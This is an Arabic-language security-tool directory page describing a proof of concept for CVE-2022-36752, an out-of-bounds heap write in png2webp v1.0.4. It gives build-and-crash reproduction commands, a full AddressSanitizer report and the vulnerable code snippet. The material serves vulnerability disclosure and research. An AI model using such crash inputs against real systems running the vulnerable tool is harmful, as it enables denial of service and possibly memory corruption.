Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2022-36752 — إثبات المفهوم لـ CVE-2022-36752 | Kitploit
أدوات/GitHubGitHub/halcy0nic/cve-2022-36752
تحليل الثغرات الأمنيةالاستغلالالاختبار العشوائيتحليل الملفات الثنائيةالأوراق والأبحاثالتعلم والتعليم
GitHubhalcy0nic/cve-2022-36752

CVE-2022-36752

إثبات المفهوم لـ CVE-2022-36752

عرض المستودع
1منذ 3 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

وصف لـ CVE-2022-36752

تم اكتشاف أن png2webp v1.0.4 يحتوي على كتابة خارج الحدود عبر الدالة w2p. يمكن استغلال هذه الثغرة عبر ملف webp مُصمم خصيصًا عند تحويل التنسيق مرة أخرى إلى png.

إعادة الإنتاج

لإعادة إنتاج الثغرة، قم بتنزيل الإصدار الضعيف من png2webp (v1.0.4) وقم بتجميع المشروع:

root@kitploit:~
git clone https://github.com/landfillbaby/png2webp.git
cd png2webp
git checkout 0c7119109cde91127a263bf0af252e5e730f7fba
git submodule update --init --depth 1
./configure && make

بعد تجميع المشروع، يمكننا توجيه png2webp إلى ملف .webp الخبيث المضمن في هذا المستودع (CVE-2022-36752_crash.webp):

root@kitploit:~
./png2web -r CVE-2022-36752_crash.webp

سيؤدي الأمر السابق إلى حدوث تعطل وإرجاع رسالة خطأ:

root@kitploit:~
corrupted size vs. prev_size

لفهم أفضل لمكان حدوث التعطل، دعنا نعيد تجميع المشروع مع address sanitizer (ASAN) عن طريق إضافة -fsanitize=address إلى متغير CFLAGS في ملف Makefile. كما نريد من المترجم تخزين معلومات جدول الرموز في الملف التنفيذي (علامة -g) لمساعدتنا في تحديد أي سطر من الكود أنتج التعطل:

root@kitploit:~
ifeq (${uname_m},x86_64)
CFLAGS ?= -O3 -Wall -Wextra -pipe -flto=auto -DNDEBUG -march=x86-64-v2 -fsanitize=address -g

بعد ذلك سنقوم بتنظيف أي ملفات قديمة وإعادة تجميع المشروع:

root@kitploit:~
make clean
make

يُبلغ ASAN عن كتابة غير صالحة بحجم 12 في البرنامج، مما يؤكد وجود ثغرة كتابة خارج الحدود:

root@kitploit:~
==222970==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000010 at pc 0x563e3ec4ee6a bp 0x7fff3a7b04d0 sp 0x7fff3a7b04c8
WRITE of size 12 at 0x602000000010 thread T0
    #0 0x563e3ec4ee69  (/dev/shm/png2webp/png2webp+0x23e69)
    #1 0x563e3ec3df34  (/dev/shm/png2webp/png2webp+0x12f34)
    #2 0x7fcfe4967189 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #3 0x7fcfe4967244 in __libc_start_main_impl ../csu/libc-start.c:381
    #4 0x563e3ec3e3f0  (/dev/shm/png2webp/png2webp+0x133f0)

0x602000000017 is located 0 bytes to the right of 7-byte region [0x602000000010,0x602000000017)
allocated by thread T0 here:
    #0 0x7fcfe4cae7cf in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
    #1 0x563e3ec46052  (/dev/shm/png2webp/png2webp+0x1b052)

SUMMARY: AddressSanitizer: heap-buffer-overflow (/dev/shm/png2webp/png2webp+0x23e69) 
Shadow bytes around the buggy address:
  0x0c047fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c047fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c047fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c047fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c047fff8000: fa fa[07]fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==222970==ABORTING

الكود الضعيف في الدالة w2p():

root@kitploit:~
  if(l < 12
#ifdef SSIZE_MAX
    || l - 12 > SSIZE_MAX
#endif
  ) {
    PF("ERROR reading %s: %s", IP, k[2]);
    goto w2p_close;
  }

المراجع

  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-36752
  • https://cwe.mitre.org/data/definitions/787.html
تنزيل الأداة